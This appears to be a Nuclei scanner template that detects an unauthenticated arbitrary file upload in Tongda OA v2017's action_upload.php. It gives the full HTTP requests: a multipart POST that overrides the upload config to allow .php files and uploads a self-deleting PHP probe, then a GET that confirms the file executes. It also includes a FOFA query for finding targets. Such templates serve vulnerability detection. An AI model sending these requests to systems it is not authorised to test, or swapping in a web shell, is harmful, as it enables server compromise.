id: tongda-action-uploadfile

info:
  name: Tongda OA v2017 action_upload - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Tongda OA v2017 action_upload.php file filtering is insufficient and does not require background permissions, resulting in arbitrary file upload vulnerabilities
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
    - https://github.com/shadow1ng/fscan/blob/main/WebScan/pocs/tongda-v2017-uploadfile.yml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="TDXK-通达OA"
  tags: tongda,fileupload,intrusive,router
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjhddzlqp

        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="CONFIG[fileFieldName]"

        ffff
        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="CONFIG[fileMaxSize]"

        1000000000
        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="CONFIG[filePathFormat]"

        {{randstr}}
        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"

        .php
        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="ffff"; filename="test.php"
        Content-Type: application/octet-stream

        <?php echo md5({{num}});unlink(__FILE__);?>
        ------WebKitFormBoundaryjhddzlqp
        Content-Disposition: form-data; name="mufile"

        submit
        ------WebKitFormBoundaryjhddzlqp--
      - |
        GET {{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100e53af2a9b597177c6590d5421bd6fed3519580906d268c42829a6900818c1bc902202ed7ad372d48b979e5b41259401514d376746f5bce485696a84f4c387845d04b:922c64590222798bb761d5b6d8e72950